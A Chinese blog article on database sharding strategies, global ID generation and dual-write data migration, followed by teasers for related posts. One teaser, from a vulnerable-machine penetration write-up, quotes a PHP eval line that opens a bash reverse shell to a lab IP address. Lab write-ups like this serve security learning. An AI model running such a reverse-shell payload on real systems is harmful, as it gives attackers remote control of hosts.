大规模数据处理:分库分表与数据迁移最佳实践

什么是分库分表

分库分表是一种数据库架构优化策略,它将数据分散存储在多个数据库或表中,以此来提高系统的可扩展性和性能。

虽然分库分表能够提升系统的整体性能,但是也不要一上来就分库分表,如果系统在单表的情况下,能够正常运行,就使用单表即可;

当业务出现性能瓶颈时,我们可以考虑先使用分区的方式去优化,如果分区之后仍然不能满足性能要求,再考虑分库分表;

在单库单表下,如果表的数据量累积到一定的数量时(5000W 行或 100G 以上),数据库的性能会出现明显下降,即使我们使用索引优化或读写库分离,性能依然存在瓶颈。此时,如果每日数据增长量非常大,就应该考虑分表,避免单表数据量过大,造成数据库操作性能下降。

面对海量数据,在单库单表下,数据库连接数、磁盘 I/O 、网络吞吐、并发能力等都是有限的。所以,在一些大数据量且高并发的业务场景中,我们就需要考虑分库分表来提升数据库的并发处理能力,从而提升应用的整体性能。

如何分库分表

通常,分库分表分为垂直切分和水平切分两种。

垂直分库

垂直分库通常是根据业务模块将数据库中的表进行分类,每个业务模块的表存储在独立的数据库中。这种方式可以减少数据库的宽度,提高查询效率,并且有利于数据库的维护和扩展。

水平分库

水平分库是将同一个库的数据按照某种规则拆分到多个数据库中,每个数据库存储数据的一部分。这种方式可以有效地分散单个数据库的负载,提高系统的并发处理能力。

垂直分表

垂直分表是将一个表的列拆分到多个表中,通常将不常用的列或大字段拆分出来。这种方式可以减少表的宽度,提高查询性能。

水平分表

水平分表是将一个大表的数据按照某种规则(如哈希分片、范围分片)拆分到多个表中。这种方式可以有效地分散单个表的数据量,提高查询效率。

举例说明一下,如何确定分表数量
提成系统有个课消明细表,用来记录学生上课课时消耗详情,每月大概有 400 万条数据,一年就是 4800 万,假如我们保留 10 年,是48000 万。
假如计划单表存储 200 万数据,则分表数量等于 240。
因为我们要用学生维度去查询数据,所以shard 键选择用学生 ID。

分库分表后的问题

分布式事务问题

比如在电商业务中,当我们提交订单时,除了会创建订单,还会扣除相应的库存。而订单表和库存表由于垂直分库位于不同的库中,此时我们需要分布式事务来保证事务的完整性。

跨节点JOIN查询问题

用户在查询订单时,往往通过表连接获取到商品信息,而商品信息表可能存在其他的库中,这就涉及到了跨库的 JOIN 查询。

通常可以采用冗余表冗余字段来优化跨库 JOIN 查询。

  • 对于一些基础表,如商品信息表,可以在每一个订单分库中复制一张基础表,避免跨库 JOIN 查询;
  • 对于一两个字段的查询,可以将少量字段冗余在表中,从而避免 JOIN 查询,也就避免了跨库 JOIN 查询。

跨节点分页查询问题

以订单表为例,通常都是使用 UserId 字段做 Hash 取模,对订单表进行水平分表;若考虑高并发时的订单处理能力,还可以考虑基于UserId 字段 Hash 取模实现分库分表。

当用户在订单列表中查询所有订单时,可以通过用户 ID 的 Hash 值来快速查询到订单信息,而运营人员在后台对订单表进行查询时,则是通过订单付款时间来进行查询的,这些数据都分布在不同的库表中,此时就存在一个跨节点分页查询的问题了。

此时可以采用两套数据来解决跨节点分页查询问题。

  1. 基于分库分表的用户单条或多条查询数据;
  2. 基于 Elasticsearch 存储的订单数据,主要用于运营人员根据其它字段进行分页查询;

为了不影响提交订单的业务性能,一般使用异步消息来实现 Elasticsearch订单数据的新增和修改。

全局主键ID问题

在分库分表后,需要单独设计全局主键,避免不同的库和表中的主键重复问题。

有以下几种策略

UUID

UUID 是实现全局 ID 是最方便快捷的方式,即随机生成一个 32 位 16 进制数字,可以保证唯一性,水平扩展能力以及性能都比较高。但 UUID 最大的缺陷就是,它是一个比较长的字符串,连续性差,如果作为主键使用,性能相对来说会比较差,不建议使用。

redis分布式锁

基于 Redis 分布式锁实现一个递增的主键 ID,这种方式可以保证主键是一个整数且有一定的连续性,但分布式锁存在一定的性能消耗。

雪花算法

基于 Twitter 开源的分布式 ID 生产算法——snowflake 解决全局主键 ID 问题,snowflake 是通过分别截取时间、机器标识、顺序计数的位数组成一个 long 类型的主键 ID。这种算法可以满足每秒上万个全局 ID 生成,不仅性能好,而且低延时。

扩容问题

随着用户的订单量增加,以 UserId Hash 取模的分表中的数据量也在增加,此时需要考虑动态增加表,就涉及到了数据迁移问题。

在最开始设计表数据量时,尽量使用 2 的倍数来设置表数量。在扩容时,也同样按照 2 的倍数来扩容,这种方式可以减少数据的迁移量。

有 4 张表,分别为 t0,t1,t2,t3,UserID的哈希值4、8、12、16,则这几个的UserID % 4 = 0,都会存到 t0 表中
假如现在扩容到 8 张表,则 UserID为 4 和 12 的,被迁移到 t5,其他两个不动;
假如现在扩容到 6 张表,则 UserID为 4 和 8 和 16 的,都需要迁移,只有UserID为12 的不需要迁移。

双写数据迁移方案介绍

数据迁移前,上游业务应用是通过旧的服务访问旧的数据的。
在这里插入图片描述

步骤1:服务升级双写

首先,需要对旧服务升级,对旧库的增删改,在新库上也同样执行。
在这里插入图片描述

步骤2:数据迁移

开发一个数据迁移工具,负责将旧库中的数据迁移到新库中
在这里插入图片描述
到目前为止,还是旧库在提供服务,所以丝毫不影响我们的业务。

步骤3:数据校验

在数据迁移完成之后,需要使用数据校验的小工具,将旧库和新库中的数据进行比对,完全一致则符合预期,如果出现不一致的情况,则以旧库中的数据为准。
在这里插入图片描述

步骤4:流量切换

数据完全一致之后,将流量切到新库,完成平滑数据迁移。
在这里插入图片描述

订单分库分表流程图

假如现在有一个订单表,没有做分库分表,现在呢,我们要把订单进行分库分表,怎么在不停机的前提下,平滑迁移数据到新表呢?

按照上面的双写迁移方案,流程图如下:
在这里插入图片描述
当数据比对完全一致后,修改服务配置,只写入分库分表中间件就可以了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432504.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue3使用vue-quill富文本编辑器

安装依赖 npm install vueup/vue-quill quill quill-image-uploader自定义字体 把自定义字体样式放入font.css中在main.js中导入 .ql-snow .ql-picker.ql-font .ql-picker-label[data-valueSimSun]::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-valueSimSun]…

VS Code使用Git Bash终端

Git Bash可以运行linux命令,在VS Code的终端界面,找到号旁边的箭头,就能直接切换了 当然,前提是安装了Git Bash,并且在资源管理器里,能鼠标右键出"Git Bash Here"

微信getUserProfile不弹出授权框

当我们在微信小程序开发工具中想要使用getUserProfile来获取个人信息的时候,会发现不弹出授权框,这是什么原因呢? 早在2022年的小程序官方公告中就已经明确给出了小程序用户头像昵称获取规则调整公告 因此如果还想继续使用getUserProfile的弹…

Unity 外描边简单实现(Shader Graph)

1:原理 将物体的模型空间的位置(也就是顶点数据)放大,作为一个单独的渲染通道单独渲染,这时候模型是已经发大过的,要想看到外描边的效果,需要将正面显示的东西给去掉,显示背面渲染的…

uniapp微信小程序,获取上一页面路由

在进入当前页面的时候,判断是不是从某个页面跳转过来的(一般是当前页面为公共页面是出现的),比如 A-->B C-->B ,那么 要在 C跳转到B页面的时候多个提示语什么的 而在A跳转到B时不需要,那么就要判断 上一页面的…

衡石分析平台系统管理手册-功能配置之SMTP 服务

SMTP 服务​ SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范,通过它来控制邮件的中转方式。 HENGSHI 用户需要开启 SMTP 服务并进行配置,才能收到系统发送邮件。 SMTP 服务需要用户配置服务器…

传递正能量

“扫黑除恶,弘扬正气”学习心得 近日,我深入学习了关于“扫黑除恶,弘扬正气”的重要精神和相关政策,这次学习不仅让我对扫黑除恶的正确性、紧迫性和重要性有了更深的理解,也让我对如何弘扬社会正气、维护社会稳…

socket是什么?套接字是什么?

Socket的原意是“插座”。在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。 我们把插头插到插…

仪表放大器AD620

AD623 是一款低功耗、高精度的仪表放大器,而不是轨到轨运算放大器。它的输入电压范围并不覆盖整个电源电压(轨到轨),但在单电源供电下可以处理接近地电位的输入信号。 AD620 和 AD623 都是仪表放大器,但它们在一些关键…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍: PHP Web开发:PHP是一种广泛使用的开源服务器端脚本语言,特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

MATLAB案例 | 沪深股市收益率的二元Copula模型

沪深股市收益率的二元Copula模型 1. 案例描述2.实现流程2.1 确定随机变量的边缘分布2.1.1 参数法计算流程2.1.2 非参数法 2.2 选取适当的Copula函数2.3 参数估计 3. 完整代码参考资料 1. 案例描述 现有上海和深圳股市同时期日开盘价、最高价、最低价、收盘价、收益率等数据,跨…

【FPGA必知必会】(二)7系列的配置(二)边界扫描与JTAG

1、边界扫描是什么 边界扫描(Boundary Scan)是一种用于测试和诊断电子系统的技术。它通过在电路板上的特定引脚上插入探针,并对这些引脚进行测量来确定电路板的状态。 这种技术可以用来检测电路板上的故障和错误,并且可以在不拆…

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中,... 是一个特殊符号,它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时,它可以匹配任意数量的参数,并将它们作为列表传递。在您的代码示例中&am…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥&#xff0c;不想老是浪费时间了&#xff0c;所以刷多少题我就会写多少题解&#xff0c;使用nss随机刷题&#xff0c;但是今天下午不知道为啥一刷都是SWPUCTF的。 [SWPUCTF 2021 新生赛]gift_F12 控制台ctrlf搜索flag即可&#xff0…

【Python】自己写的包,在Spyder中跳不到自己包的位置怎么办?

我很喜欢用Spyder来做测试。但是我总是发现&#xff0c;我想要跳转外部的包或者自己写的包&#xff0c;但是发现不行。 解决的方法&#xff1a; 使用快捷键&#xff08;Ctrl 鼠标左键点击&#xff09;&#xff1a; 在 Spyder 中&#xff0c;你可以使用 Ctrl 鼠标左键点击 来…

作业报告┭┮﹏┭┮(Android反调试)

一&#xff1a;Android反调试 主要是用来防止IDA进行附加的&#xff0c;主要的方法思路就是&#xff0c;判断自身是否有父进程&#xff0c;判断是否端口被监听&#xff0c;然后通过调用so文件中的线程进行监视&#xff0c;这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…

二进制文件与文本文件的区别【字符集Charset】

计算机上存储的文件在比特位上都是以二进制数字0或1表示&#xff0c;因此在物理层面上&#xff0c;文本文件和二进制文件没有本质差异&#xff0c;都是由数字0或1组成的比特位集合。 文本文件和二进制文件&#xff0c;两者的差异体现在编码逻辑&#xff0c;需要根据文件头中标…

PVE虚拟机被锁定locked解决方法

打开pve节点的shell&#xff0c;执行以下命令 qm unlock <VMID> 示例&#xff1a; qm unlock 112

伊犁云计算22-1 apache 安装rhel8

1 局域网网络必须通 2 yum 必须搭建成功 3 apache 必须安装 开干 要用su 用户来访问 一看httpd 组件安装完毕 到这里就是测试成功了 如何修改主页的目录 网站目录默认保存在/var/WWW/HTML 我希望改变/home/www 122 127 167 行要改